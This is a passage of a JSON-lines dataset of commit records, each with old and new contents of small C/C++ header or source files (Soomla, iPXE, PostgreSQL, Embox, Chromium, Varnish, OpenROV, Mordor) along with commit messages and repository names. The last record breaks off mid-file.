{"commit":"64d086a45bfb569038f9dcacc9e50ef04fecf574","old_file":"SoomlaiOSProfile\/SoomlaiOSProfile\/Blueprint.h","new_file":"SoomlaiOSProfile\/SoomlaiOSProfile\/Blueprint.h","old_contents":"\/\/\n\/\/  Blueprint.h\n\/\/  SoomlaiOSProfile\n\/\/\n\/\/  Created by Gur Dotan on 6\/9\/14.\n\/\/  Copyright (c) 2014 Soomla. All rights reserved.\n\/\/\n\n#define BP_DB_KEY_PREFIX @\"soomla.blueprint\"\n","new_contents":"\/\/\n\/\/  Blueprint.h\n\/\/  SoomlaiOSProfile\n\/\/\n\/\/  Created by Gur Dotan on 6\/9\/14.\n\/\/  Copyright (c) 2014 Soomla. All rights reserved.\n\/\/\n\n#define BP_DB_KEY_PREFIX @\"soomla.levelup\"\n","subject":"Change DB prefix string to comply with Android's","message":"Change DB prefix string to comply with Android's\n","lang":"C","license":"apache-2.0","repos":"emperor1412\/ios-profile,vedi\/ios-profile,vedi\/ios-profile,soomla\/ios-profile,vedi\/ios-profile,emperor1412\/ios-profile"}
{"commit":"1439f9421e67da83a16dc7350f50c5dabe85060e","old_file":"ipxe\/local\/general.h","new_file":"ipxe\/local\/general.h","old_contents":"#define DIGEST_CMD            \/* Image crypto digest commands *\/\n#define DOWNLOAD_PROTO_HTTPS  \/* Secure Hypertext Transfer Protocol *\/      \n#define IMAGE_COMBOOT         \/* COMBOOT *\/\n#define IMAGE_TRUST_CMD\t      \/* Image trust management commands *\/\n#define NET_PROTO_IPV6        \/* IPv6 protocol *\/\n#define REBOOT_CMD            \/* Reboot command *\/\n#define VLAN_CMD              \/* VLAN commands *\/\n","new_contents":"#define DIGEST_CMD            \/* Image crypto digest commands *\/\n#define DOWNLOAD_PROTO_HTTPS  \/* Secure Hypertext Transfer Protocol *\/      \n#define IMAGE_COMBOOT         \/* COMBOOT *\/\n#define IMAGE_TRUST_CMD\t      \/* Image trust management commands *\/\n#define NET_PROTO_IPV6        \/* IPv6 protocol *\/\n#define REBOOT_CMD            \/* Reboot command *\/\n#define VLAN_CMD              \/* VLAN commands *\/\n#define NSLOOKUP_CMD\t      \/* DNS resolving command *\/\n#define NTP_CMD               \/* NTP commands *\/\n","subject":"Add NSLOOKUP and NTP commands to netboot.xyz","message":"Add NSLOOKUP and NTP commands to netboot.xyz\n","lang":"C","license":"apache-2.0","repos":"Dedsec1\/netboot.xyz,chris18890\/netboot.xyz,antonym\/netboot.xyz,antonym\/netboot.xyz,Dedsec1\/netboot.xyz,antonym\/netboot.xyz,chris18890\/netboot.xyz,Dedsec1\/netboot.xyz"}
{"commit":"b6ffc70dcc58cbeae372c58675c14a9fe9dac3f9","old_file":"src\/interfaces\/libpq\/win32.h","new_file":"src\/interfaces\/libpq\/win32.h","old_contents":"#include <winsock.h>\n\n\/*\n * strcasecmp() is not in Windows, stricmp is, though\n *\/\n#define strcasecmp(a,b) stricmp(a,b)\n#define strncasecmp(a,b,c) _strnicmp(a,b,c)\n\n#define ACCEPT_TYPE_ARG3 int\n\n\/*\n * Some compat functions\n *\/\n#define open(a,b,c) _open(a,b,c)\n#define close(a) _close(a)\n#define read(a,b,c) _read(a,b,c)\n#define write(a,b,c) _write(a,b,c)\n#define popen(a,b) _popen(a,b)\n#define pclose(a) _pclose(a)\n#define vsnprintf(a,b,c,d) _vsnprintf(a,b,c,d)\n\n\/*\n * crypt not available (yet)\n *\/\n#define crypt(a,b) a\n\n\n\n\/*\n * Parts of config.h that you get with autoconf on other systems\n *\/\n\n#define DEF_PGPORT \"5432\"\n#define MAXIMUM_ALIGNOF 4\n","new_contents":"#include <winsock.h>\n\n\/*\n * strcasecmp() is not in Windows, stricmp is, though\n *\/\n#define strcasecmp(a,b) stricmp(a,b)\n#define strncasecmp(a,b,c) _strnicmp(a,b,c)\n\n\/*\n * Some compat functions\n *\/\n#define open(a,b,c) _open(a,b,c)\n#define close(a) _close(a)\n#define read(a,b,c) _read(a,b,c)\n#define write(a,b,c) _write(a,b,c)\n#define popen(a,b) _popen(a,b)\n#define pclose(a) _pclose(a)\n#define vsnprintf(a,b,c,d) _vsnprintf(a,b,c,d)\n\n\/*\n * crypt not available (yet)\n *\/\n#define crypt(a,b) a\n\n\/*\n * Parts of config.h that you get with autoconf on other systems\n *\/\n#define MAXIMUM_ALIGNOF 4\n#define ACCEPT_TYPE_ARG3 int\n","subject":"Remove broken (and unnecessary) definition of DEF_PGPORT.","message":"Remove broken (and unnecessary) definition of DEF_PGPORT.\n","lang":"C","license":"apache-2.0","repos":"tangp3\/gpdb,janebeckman\/gpdb,cjcjameson\/gpdb,Postgres-XL\/Postgres-XL,ahachete\/gpdb,adam8157\/gpdb,lisakowen\/gpdb,zeroae\/postgres-xl,randomtask1155\/gpdb,lintzc\/gpdb,tangp3\/gpdb,janebeckman\/gpdb,cjcjameson\/gpdb,xinzweb\/gpdb,kmjungersen\/PostgresXL,foyzur\/gpdb,lisakowen\/gpdb,xuegang\/gpdb,rvs\/gpdb,snaga\/postgres-xl,Postgres-XL\/Postgres-XL,foyzur\/gpdb,greenplum-db\/gpdb,zaksoup\/gpdb,rvs\/gpdb,xuegang\/gpdb,xinzweb\/gpdb,foyzur\/gpdb,Chibin\/gpdb,oberstet\/postgres-xl,randomtask1155\/gpdb,lisakowen\/gpdb,yuanzhao\/gpdb,kaknikhil\/gpdb,edespino\/gpdb,lintzc\/gpdb,lintzc\/gpdb,rubikloud\/gpdb,ashwinstar\/gpdb,adam8157\/gpdb,ashwinstar\/gpdb,lpetrov-pivotal\/gpdb,cjcjameson\/gpdb,foyzur\/gpdb,lisakowen\/gpdb,50wu\/gpdb,xinzweb\/gpdb,cjcjameson\/gpdb,CraigHarris\/gpdb,50wu\/gpdb,pavanvd\/postgres-xl,oberstet\/postgres-xl,royc1\/gpdb,yuanzhao\/gpdb,jmcatamney\/gpdb,adam8157\/gpdb,yuanzhao\/gpdb,atris\/gpdb,ahachete\/gpdb,snaga\/postgres-xl,kmjungersen\/PostgresXL,techdragon\/Postgres-XL,postmind-net\/postgres-xl,zaksoup\/gpdb,0x0FFF\/gpdb,greenplum-db\/gpdb,pavanvd\/postgres-xl,jmcatamney\/gpdb,zaksoup\/gpdb,adam8157\/gpdb,foyzur\/gpdb,Quikling\/gpdb,zaksoup\/gpdb,ashwinstar\/gpdb,greenplum-db\/gpdb,greenplum-db\/gpdb,chrishajas\/gpdb,ahachete\/gpdb,rubikloud\/gpdb,royc1\/gpdb,kaknikhil\/gpdb,edespino\/gpdb,CraigHarris\/gpdb,CraigHarris\/gpdb,snaga\/postgres-xl,arcivanov\/postgres-xl,janebeckman\/gpdb,chrishajas\/gpdb,arcivanov\/postgres-xl,kaknikhil\/gpdb,rubikloud\/gpdb,CraigHarris\/gpdb,rubikloud\/gpdb,janebeckman\/gpdb,lisakowen\/gpdb,randomtask1155\/gpdb,cjcjameson\/gpdb,yazun\/postgres-xl,edespino\/gpdb,lisakowen\/gpdb,yuanzhao\/gpdb,cjcjameson\/gpdb,oberstet\/postgres-xl,cjcjameson\/gpdb,royc1\/gpdb,rvs\/gpdb,jmcatamney\/gpdb,Chibin\/gpdb,lintzc\/gpdb,yazun\/postgres-xl,greenplum-db\/gpdb,rubikloud\/gpdb,Quikling\/gpdb,yuanzhao\/gpdb,rvs\/gpdb,postmind-net\/postgres-xl,0x0FFF\/gpdb,chrishajas\/gpdb,ahachete\/gpdb,ovr\/postgres-xl,rubikloud\/gpdb,ahachete\/gpdb,Chibin\/gpdb,ashwinstar\/gpdb,zaksoup\/gpdb,Quikling\/gpdb,techdragon\/Postgres-XL,pavanvd\/postgres-xl,greenplum-db\/gpdb,arcivanov\/postgres-xl,kaknikhil\/gpdb,yazun\/postgres-xl,xinzweb\/gpdb,CraigHarris\/gpdb,lisakowen\/gpdb,postmind-net\/postgres-xl,jmcatamney\/gpdb,kaknikhil\/gpdb,CraigHarris\/gpdb,tpostgres-projects\/tPostgres,pavanvd\/postgres-xl,edespino\/gpdb,kaknikhil\/gpdb,zeroae\/postgres-xl,royc1\/gpdb,rubikloud\/gpdb,0x0FFF\/gpdb,xinzweb\/gpdb,snaga\/postgres-xl,zeroae\/postgres-xl,postmind-net\/postgres-xl,ashwinstar\/gpdb,xuegang\/gpdb,zeroae\/postgres-xl,janebeckman\/gpdb,janebeckman\/gpdb,randomtask1155\/gpdb,adam8157\/gpdb,adam8157\/gpdb,kaknikhil\/gpdb,edespino\/gpdb,lpetrov-pivotal\/gpdb,randomtask1155\/gpdb,chrishajas\/gpdb,Postgres-XL\/Postgres-XL,yuanzhao\/gpdb,yuanzhao\/gpdb,50wu\/gpdb,janebeckman\/gpdb,foyzur\/gpdb,atris\/gpdb,lpetrov-pivotal\/gpdb,0x0FFF\/gpdb,50wu\/gpdb,techdragon\/Postgres-XL,edespino\/gpdb,rubikloud\/gpdb,arcivanov\/postgres-xl,0x0FFF\/gpdb,ashwinstar\/gpdb,CraigHarris\/gpdb,kmjungersen\/PostgresXL,royc1\/gpdb,adam8157\/gpdb,foyzur\/gpdb,Quikling\/gpdb,ahachete\/gpdb,Quikling\/gpdb,lintzc\/gpdb,yazun\/postgres-xl,arcivanov\/postgres-xl,Quikling\/gpdb,xuegang\/gpdb,xuegang\/gpdb,Chibin\/gpdb,Quikling\/gpdb,adam8157\/gpdb,arcivanov\/postgres-xl,zaksoup\/gpdb,ashwinstar\/gpdb,ahachete\/gpdb,edespino\/gpdb,zaksoup\/gpdb,cjcjameson\/gpdb,tangp3\/gpdb,lisakowen\/gpdb,jmcatamney\/gpdb,tpostgres-projects\/tPostgres,xinzweb\/gpdb,0x0FFF\/gpdb,xuegang\/gpdb,janebeckman\/gpdb,rvs\/gpdb,oberstet\/postgres-xl,tangp3\/gpdb,CraigHarris\/gpdb,edespino\/gpdb,chrishajas\/gpdb,cjcjameson\/gpdb,rvs\/gpdb,atris\/gpdb,Chibin\/gpdb,Chibin\/gpdb,50wu\/gpdb,ovr\/postgres-xl,cjcjameson\/gpdb,randomtask1155\/gpdb,jmcatamney\/gpdb,xuegang\/gpdb,kaknikhil\/gpdb,ovr\/postgres-xl,kaknikhil\/gpdb,lpetrov-pivotal\/gpdb,techdragon\/Postgres-XL,snaga\/postgres-xl,tpostgres-projects\/tPostgres,tangp3\/gpdb,yuanzhao\/gpdb,ovr\/postgres-xl,oberstet\/postgres-xl,xuegang\/gpdb,zaksoup\/gpdb,0x0FFF\/gpdb,Quikling\/gpdb,chrishajas\/gpdb,chrishajas\/gpdb,yuanzhao\/gpdb,lpetrov-pivotal\/gpdb,kmjungersen\/PostgresXL,atris\/gpdb,royc1\/gpdb,Postgres-XL\/Postgres-XL,edespino\/gpdb,janebeckman\/gpdb,0x0FFF\/gpdb,rvs\/gpdb,50wu\/gpdb,lpetrov-pivotal\/gpdb,postmind-net\/postgres-xl,randomtask1155\/gpdb,lintzc\/gpdb,tpostgres-projects\/tPostgres,pavanvd\/postgres-xl,50wu\/gpdb,Chibin\/gpdb,foyzur\/gpdb,zeroae\/postgres-xl,xuegang\/gpdb,randomtask1155\/gpdb,atris\/gpdb,lpetrov-pivotal\/gpdb,yazun\/postgres-xl,janebeckman\/gpdb,yuanzhao\/gpdb,ahachete\/gpdb,Chibin\/gpdb,lintzc\/gpdb,ashwinstar\/gpdb,royc1\/gpdb,CraigHarris\/gpdb,greenplum-db\/gpdb,atris\/gpdb,royc1\/gpdb,kmjungersen\/PostgresXL,Quikling\/gpdb,50wu\/gpdb,lintzc\/gpdb,rvs\/gpdb,xinzweb\/gpdb,kaknikhil\/gpdb,greenplum-db\/gpdb,atris\/gpdb,tpostgres-projects\/tPostgres,rvs\/gpdb,rvs\/gpdb,tangp3\/gpdb,xinzweb\/gpdb,techdragon\/Postgres-XL,tangp3\/gpdb,Postgres-XL\/Postgres-XL,edespino\/gpdb,jmcatamney\/gpdb,Quikling\/gpdb,tangp3\/gpdb,Chibin\/gpdb,chrishajas\/gpdb,Chibin\/gpdb,ovr\/postgres-xl,atris\/gpdb,jmcatamney\/gpdb,lintzc\/gpdb,lpetrov-pivotal\/gpdb"}
{"commit":"6566e0278082294b97e7cd12eb4b4479abfee100","old_file":"src\/fs\/dvfs\/dcache_no.c","new_file":"src\/fs\/dvfs\/dcache_no.c","old_contents":"\/**\n * @file\n * @brief Handle cache lookup just by iterating vfs tree\n * @author Denis Deryugin <deryugin.denis@gmail.com>\n * @version 0.1\n * @date 2015-06-09\n *\/\n\n\n","new_contents":"\/**\n * @file\n * @brief Handle cache lookup just by iterating vfs tree\n * @author Denis Deryugin <deryugin.denis@gmail.com>\n * @version 0.1\n * @date 2015-06-09\n *\/\n\n#include <fs\/dvfs.h>\n\nstruct dentry *dvfs_cache_lookup(const char *path, struct dentry *base) {\n\treturn NULL;\n}\n\nstruct dentry *dvfs_cache_get(char *path) {\n\treturn NULL;\n}\n\nint dvfs_cache_del(struct dentry *dentry) {\n\treturn 0;\n}\n\nint dvfs_cache_add(struct dentry *dentry) {\n\treturn 0;\n}\n","subject":"Implement stubs for trirvial cache","message":"vfs: Implement stubs for trirvial cache\n","lang":"C","license":"bsd-2-clause","repos":"gzoom13\/embox,Kefir0192\/embox,Kefir0192\/embox,gzoom13\/embox,embox\/embox,mike2390\/embox,mike2390\/embox,mike2390\/embox,mike2390\/embox,Kakadu\/embox,embox\/embox,Kefir0192\/embox,mike2390\/embox,gzoom13\/embox,Kakadu\/embox,gzoom13\/embox,gzoom13\/embox,Kefir0192\/embox,Kakadu\/embox,Kakadu\/embox,mike2390\/embox,Kakadu\/embox,Kakadu\/embox,mike2390\/embox,Kefir0192\/embox,Kakadu\/embox,Kefir0192\/embox,embox\/embox,gzoom13\/embox,embox\/embox,Kefir0192\/embox,embox\/embox,embox\/embox,gzoom13\/embox"}
{"commit":"f29b65fa18ae5bcae352ad1050a5b83d8ffffd53","old_file":"modules\/vf_audio\/sources\/vf_SampleSource.h","new_file":"modules\/vf_audio\/sources\/vf_SampleSource.h","old_contents":"\/*============================================================================*\/\n\/*\n  Copyright (C) 2008 by Vinnie Falco, this file is part of VFLib.\n  See the file GNU_GPL_v2.txt for full licensing terms.\n\n  This program is free software; you can redistribute it and\/or modify it\n  under the terms of the GNU General Public License as published by the Free\n  Software Foundation; either version 2 of the License, or (at your option)\n  any later version.\n\n  This program is distributed in the hope that it will be useful, but WITHOUT\n  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n  FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more\n  details.\n\n  You should have received a copy of the GNU General Public License along with\n  this program; if not, write to the Free Software Foundation, Inc., 51\n  Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n*\/\n\/*============================================================================*\/\n\n#ifndef VF_SAMPLESOURCE_VFHEADER\n#define VF_SAMPLESOURCE_VFHEADER\n\n\/\/==============================================================================\n\/**\n  Abstract source of audio samples.\n\n  This interface is used to retrieve sequentual raw audio samples from an\n  abstract source. It is intended as a facade for @ref AudioSource, with these\n  features:\n\n  - No thread safety; the caller is responsible for all synchronization.\n\n  - The preparation state feature is removed (along with its methods).\n\n  @ingroup vf_audio\n*\/\nclass SampleSource\n{\npublic:\n  \/**\n    Read the next block of samples.\n  *\/\n  virtual void getNextAudioBlock (AudioSourceChannelInfo const& bufferToFill) = 0;\n};\n\n#endif\n","new_contents":"\/*============================================================================*\/\n\/*\n  Copyright (C) 2008 by Vinnie Falco, this file is part of VFLib.\n  See the file GNU_GPL_v2.txt for full licensing terms.\n\n  This program is free software; you can redistribute it and\/or modify it\n  under the terms of the GNU General Public License as published by the Free\n  Software Foundation; either version 2 of the License, or (at your option)\n  any later version.\n\n  This program is distributed in the hope that it will be useful, but WITHOUT\n  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n  FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more\n  details.\n\n  You should have received a copy of the GNU General Public License along with\n  this program; if not, write to the Free Software Foundation, Inc., 51\n  Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n*\/\n\/*============================================================================*\/\n\n#ifndef VF_SAMPLESOURCE_VFHEADER\n#define VF_SAMPLESOURCE_VFHEADER\n\n\/\/==============================================================================\n\/**\n  Abstract source of audio samples.\n\n  This interface is used to retrieve sequentual raw audio samples from an\n  abstract source. It is intended as a facade for @ref AudioSource, with these\n  features:\n\n  - No thread safety; the caller is responsible for all synchronization.\n\n  - The preparation state feature is removed (along with its methods).\n\n  @ingroup vf_audio\n*\/\nclass SampleSource\n{\npublic:\n  virtual ~SampleSource () { }\n\n  \/**\n    Read the next block of samples.\n  *\/\n  virtual void getNextAudioBlock (AudioSourceChannelInfo const& bufferToFill) = 0;\n};\n\n#endif\n","subject":"Make dtor virtual in SampleSource","message":"Make dtor virtual in SampleSource\n\n","lang":"C","license":"mit","repos":"vinniefalco\/VFLib,spthaolt\/VFLib,spthaolt\/VFLib,vinniefalco\/VFLib"}
{"commit":"f130782346db6c87ebf9f44aa448c7d41810400e","old_file":"public\/platform\/WebBlobInfo.h","new_file":"public\/platform\/WebBlobInfo.h","old_contents":"","new_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WebBlobInfo_h\n#define WebBlobInfo_h\n\n#include \"WebCommon.h\"\n#include \"WebString.h\"\n\nnamespace blink {\n\nclass WebBlobInfo {\npublic:\n    WebBlobInfo()\n        : m_isFile(false)\n        , m_size(-1)\n        , m_lastModified(0)\n    {\n    }\n    WebBlobInfo(const WebString& uuid, const WebString& type, long long size)\n        : m_isFile(false)\n        , m_uuid(uuid)\n        , m_type(type)\n        , m_size(size)\n        , m_lastModified(0)\n    {\n    }\n    WebBlobInfo(const WebString& uuid, const WebString& filePath, const WebString& fileName, const WebString& type)\n        : m_isFile(true)\n        , m_uuid(uuid)\n        , m_type(type)\n        , m_size(-1)\n        , m_filePath(filePath)\n        , m_fileName(fileName)\n        , m_lastModified(0)\n    {\n    }\n    WebBlobInfo(const WebString& uuid, const WebString& filePath, const WebString& fileName, const WebString& type, double lastModified, long long size)\n        : m_isFile(true)\n        , m_uuid(uuid)\n        , m_type(type)\n        , m_size(size)\n        , m_filePath(filePath)\n        , m_fileName(fileName)\n        , m_lastModified(lastModified)\n    {\n    }\n    bool isFile() const\n    {\n        return m_isFile;\n    }\n    const WebString& uuid() const\n    {\n        return m_uuid;\n    }\n    const WebString& type() const\n    {\n        return m_type;\n    }\n    long long size() const\n    {\n        return m_size;\n    }\n    const WebString& filePath() const\n    {\n        return m_filePath;\n    }\n    const WebString& fileName() const\n    {\n        return m_fileName;\n    }\n    double lastModified() const\n    {\n        return m_lastModified;\n    }\n\nprivate:\n    bool m_isFile;\n    WebString m_uuid;\n    WebString m_type; \/\/ MIME type\n    long long m_size;\n    WebString m_filePath; \/\/ Only for File\n    WebString m_fileName; \/\/ Only for File\n    double m_lastModified; \/\/ Only for File\n};\n\n} \/\/ namespace blink\n\n#endif\n","subject":"Add two classes [as yet unused] needed for upcoming IDB Blob support.","message":"Add two classes [as yet unused] needed for upcoming IDB Blob support.\n\nBUG=108012\nR=cmumford,jsbell,abarth\n\nReview URL: https:\/\/codereview.chromium.org\/205413004\n\ngit-svn-id: bf5cd6ccde378db821296732a091cfbcf5285fbd@170686 bbb929c8-8fbe-4397-9dbb-9b2b20218538\n","lang":"C","license":"bsd-3-clause","repos":"Pluto-tv\/blink-crosswalk,XiaosongWei\/blink-crosswalk,jtg-gg\/blink,Pluto-tv\/blink-crosswalk,XiaosongWei\/blink-crosswalk,crosswalk-project\/blink-crosswalk-efl,ondra-novak\/blink,kurli\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,nwjs\/blink,crosswalk-project\/blink-crosswalk-efl,Bysmyyr\/blink-crosswalk,ondra-novak\/blink,Bysmyyr\/blink-crosswalk,modulexcite\/blink,Pluto-tv\/blink-crosswalk,nwjs\/blink,ondra-novak\/blink,jtg-gg\/blink,modulexcite\/blink,modulexcite\/blink,kurli\/blink-crosswalk,smishenk\/blink-crosswalk,XiaosongWei\/blink-crosswalk,crosswalk-project\/blink-crosswalk-efl,PeterWangIntel\/blink-crosswalk,smishenk\/blink-crosswalk,modulexcite\/blink,Bysmyyr\/blink-crosswalk,kurli\/blink-crosswalk,nwjs\/blink,jtg-gg\/blink,ondra-novak\/blink,Pluto-tv\/blink-crosswalk,hgl888\/blink-crosswalk-efl,nwjs\/blink,ondra-novak\/blink,XiaosongWei\/blink-crosswalk,nwjs\/blink,PeterWangIntel\/blink-crosswalk,Pluto-tv\/blink-crosswalk,crosswalk-project\/blink-crosswalk-efl,nwjs\/blink,modulexcite\/blink,smishenk\/blink-crosswalk,smishenk\/blink-crosswalk,modulexcite\/blink,hgl888\/blink-crosswalk-efl,ondra-novak\/blink,Bysmyyr\/blink-crosswalk,jtg-gg\/blink,crosswalk-project\/blink-crosswalk-efl,hgl888\/blink-crosswalk-efl,PeterWangIntel\/blink-crosswalk,hgl888\/blink-crosswalk-efl,PeterWangIntel\/blink-crosswalk,modulexcite\/blink,Pluto-tv\/blink-crosswalk,Pluto-tv\/blink-crosswalk,modulexcite\/blink,hgl888\/blink-crosswalk-efl,XiaosongWei\/blink-crosswalk,Pluto-tv\/blink-crosswalk,smishenk\/blink-crosswalk,jtg-gg\/blink,XiaosongWei\/blink-crosswalk,Bysmyyr\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,nwjs\/blink,ondra-novak\/blink,crosswalk-project\/blink-crosswalk-efl,PeterWangIntel\/blink-crosswalk,nwjs\/blink,hgl888\/blink-crosswalk-efl,kurli\/blink-crosswalk,smishenk\/blink-crosswalk,jtg-gg\/blink,Bysmyyr\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,modulexcite\/blink,XiaosongWei\/blink-crosswalk,smishenk\/blink-crosswalk,ondra-novak\/blink,nwjs\/blink,modulexcite\/blink,crosswalk-project\/blink-crosswalk-efl,hgl888\/blink-crosswalk-efl,Pluto-tv\/blink-crosswalk,smishenk\/blink-crosswalk,crosswalk-project\/blink-crosswalk-efl,jtg-gg\/blink,jtg-gg\/blink,XiaosongWei\/blink-crosswalk,hgl888\/blink-crosswalk-efl,hgl888\/blink-crosswalk-efl,XiaosongWei\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,jtg-gg\/blink,hgl888\/blink-crosswalk-efl,crosswalk-project\/blink-crosswalk-efl,jtg-gg\/blink,smishenk\/blink-crosswalk,ondra-novak\/blink,Bysmyyr\/blink-crosswalk,kurli\/blink-crosswalk,kurli\/blink-crosswalk,Bysmyyr\/blink-crosswalk,Bysmyyr\/blink-crosswalk,smishenk\/blink-crosswalk,kurli\/blink-crosswalk,kurli\/blink-crosswalk,kurli\/blink-crosswalk,Bysmyyr\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,nwjs\/blink,XiaosongWei\/blink-crosswalk,kurli\/blink-crosswalk,Pluto-tv\/blink-crosswalk"}
{"commit":"48288f1523084969e246b6a50ae5e2b6d4e819b8","old_file":"include\/shmlog_tags.h","new_file":"include\/shmlog_tags.h","old_contents":"\/*\n * $Id$\n *\n * Define the tags in the shared memory in a reusable format.\n * Whoever includes this get to define what the SLTM macro does.\n *\n *\/\n\nSLTM(Debug)\nSLTM(Error)\nSLTM(CLI)\nSLTM(SessionOpen)\nSLTM(SessionReuse)\nSLTM(SessionClose)\nSLTM(BackendOpen)\nSLTM(BackendXID)\nSLTM(BackendReuse)\nSLTM(BackendClose)\nSLTM(HttpError)\nSLTM(ClientAddr)\nSLTM(Backend)\nSLTM(Request)\nSLTM(Response)\nSLTM(Length)\nSLTM(Status)\nSLTM(URL)\nSLTM(Protocol)\nSLTM(Header)\nSLTM(BldHdr)\nSLTM(LostHeader)\nSLTM(VCL_call)\nSLTM(VCL_trace)\nSLTM(VCL_return)\nSLTM(XID)\nSLTM(ExpBan)\nSLTM(ExpPick)\nSLTM(ExpKill)\n","new_contents":"\/*\n * $Id$\n *\n * Define the tags in the shared memory in a reusable format.\n * Whoever includes this get to define what the SLTM macro does.\n *\n *\/\n\nSLTM(Debug)\nSLTM(Error)\nSLTM(CLI)\nSLTM(SessionOpen)\nSLTM(SessionReuse)\nSLTM(SessionClose)\nSLTM(BackendOpen)\nSLTM(BackendXID)\nSLTM(BackendReuse)\nSLTM(BackendClose)\nSLTM(HttpError)\nSLTM(ClientAddr)\nSLTM(Backend)\nSLTM(Request)\nSLTM(Response)\nSLTM(Length)\nSLTM(Status)\nSLTM(URL)\nSLTM(Protocol)\nSLTM(Header)\nSLTM(BldHdr)\nSLTM(LostHeader)\nSLTM(VCL_call)\nSLTM(VCL_trace)\nSLTM(VCL_return)\nSLTM(XID)\nSLTM(Hit)\nSLTM(ExpBan)\nSLTM(ExpPick)\nSLTM(ExpKill)\n","subject":"Add shmem tag for Hits","message":"Add shmem tag for Hits\n\n\ngit-svn-id: 7d4b18ab7d176792635d6a7a77dd8cbbea8e8daa@361 d4fa192b-c00b-0410-8231-f00ffab90ce4\n","lang":"C","license":"bsd-2-clause","repos":"wikimedia\/operations-debs-varnish,ssm\/pkg-varnish,ssm\/pkg-varnish,ssm\/pkg-varnish,wikimedia\/operations-debs-varnish,wikimedia\/operations-debs-varnish,ssm\/pkg-varnish,wikimedia\/operations-debs-varnish,ssm\/pkg-varnish,CartoDB\/Varnish-Cache,wikimedia\/operations-debs-varnish,CartoDB\/Varnish-Cache,CartoDB\/Varnish-Cache"}
{"commit":"6cab757bf92a547a94b319472dc16c536e7c4dc7","old_file":"OpenROV\/Settings.h","new_file":"OpenROV\/Settings.h","old_contents":"\n#ifndef __SETTINGS_H_\n#define __SETTINGS_H_\n#include <Arduino.h>\n#include \"Device.h\"\n\n\/\/ This section is for devices and their configuration\n\/\/Kit:\n#define HAS_STD_LIGHTS (1)\n#define LIGHTS_PIN 5\n#define HAS_STD_CAPE (1)\n#define HAS_STD_2X1_THRUSTERS (1)\n#define HAS_STD_PILOT (1)\n#define HAS_STD_CAMERAMOUNT (1)\n#define CAMERAMOUNT_PIN 3\n#define CAPE_VOLTAGE_PIN 0 \n#define CAPE_CURRENT_PIN 3\n\n\/\/After Market:\n#define HAS_STD_CALIBRATIONLASERS (0)\n#define CALIBRATIONLASERS_PIN 6\n#define HAS_POLOLU_MINIMUV (1)\n#define HAS_MS5803_14BA (0)\n#define MS5803_14BA_I2C_ADDRESS 0x76\n\n\n#define MIDPOINT 1500\n#define LOGGING (1)\n\n\nclass Settings : public Device {\n  public:\n    static int smoothingIncriment; \/\/How aggressive the throttle changes\n    static int deadZone_min;\n    static int deadZone_max;\n    static int capability_bitarray;\n    \n    Settings():Device(){};\n    void device_setup();\n    void device_loop(Command cmd);\n};\n\n#endif\n","new_contents":"\n#ifndef __SETTINGS_H_\n#define __SETTINGS_H_\n#include <Arduino.h>\n#include \"Device.h\"\n\n\/\/ This section is for devices and their configuration\n\/\/Kit:\n#define HAS_STD_LIGHTS (1)\n#define LIGHTS_PIN 5\n#define HAS_STD_CAPE (1)\n#define HAS_STD_2X1_THRUSTERS (1)\n#define HAS_STD_PILOT (1)\n#define HAS_STD_CAMERAMOUNT (1)\n#define CAMERAMOUNT_PIN 3\n#define CAPE_VOLTAGE_PIN 0 \n#define CAPE_CURRENT_PIN 3\n\n\/\/After Market:\n#define HAS_STD_CALIBRATIONLASERS (0)\n#define CALIBRATIONLASERS_PIN 6\n#define HAS_POLOLU_MINIMUV (0)\n#define HAS_MS5803_14BA (0)\n#define MS5803_14BA_I2C_ADDRESS 0x76\n\n\n#define MIDPOINT 1500\n#define LOGGING (1)\n\n\nclass Settings : public Device {\n  public:\n    static int smoothingIncriment; \/\/How aggressive the throttle changes\n    static int deadZone_min;\n    static int deadZone_max;\n    static int capability_bitarray;\n    \n    Settings():Device(){};\n    void device_setup();\n    void device_loop(Command cmd);\n};\n\n#endif\n","subject":"Reset default settings to stock kit configuration","message":"Reset default settings to stock kit configuration\n","lang":"C","license":"mit","repos":"LeeCheongAh\/openrov-software-arduino,LeeCheongAh\/openrov-software-arduino,binary42\/openrov-software-arduino,dieface\/openrov-software-arduino,OpenROV\/openrov-software-arduino,dieface\/openrov-software-arduino,binary42\/openrov-software-arduino,BrianAdams\/openrov-software-arduino,OpenROV\/openrov-software-arduino,OpenROV\/openrov-software-arduino,spiderkeys\/openrov-software-arduino,spiderkeys\/openrov-software-arduino,BrianAdams\/openrov-software-arduino,johan--\/openrov-software-arduino,johan--\/openrov-software-arduino"}
{"commit":"dc2d1193248200276b37d429da9d865bd48c8f9c","old_file":"mordor\/version.h","new_file":"mordor\/version.h","old_contents":"#ifndef __MORDOR_VERSION_H__\n#define __MORDOR_VERSION_H__\n\n\/\/ OS\n#ifdef _WIN32\n#   define WINDOWS\n#else\n#   define POSIX\n#endif\n#ifdef __CYGWIN__\n#   define WINDOWS\n#   define CYGWIN\n#endif\n\n#if defined(linux) || defined(__linux__)\n#   define LINUX\n#endif\n\n#ifdef __APPLE__\n#   define OSX\n#   ifndef BSD\n#       define BSD\n#   endif\n#endif\n\n#ifdef __FreeBSD__\n#   define FREEBSD\n#   define BSD\n#endif\n\n#ifdef WINDOWS\n#define MORDOR_NATIVE(win32, posix) win32\n#else\n#define MORDOR_NATIVE(win32, posix) posix\n#endif\n\n\/\/ Architecture\n#ifdef _MSC_VER\n#   define MSVC\n#   ifdef _M_X64\n#       define X86_64\n#   elif defined(_M_IX86)\n#       define X86\n#   endif\n#endif\n\n#ifdef __GNUC__\n#   define GCC\n#   ifdef __x86_64\n#       define X86_64\n#   elif defined(i386)\n#       define X86\n#   elif defined(__ppc__)\n#       define PPC\n#   elif defined(__arm__)\n#       define ARM\n#   endif\n#endif\n\n#ifdef 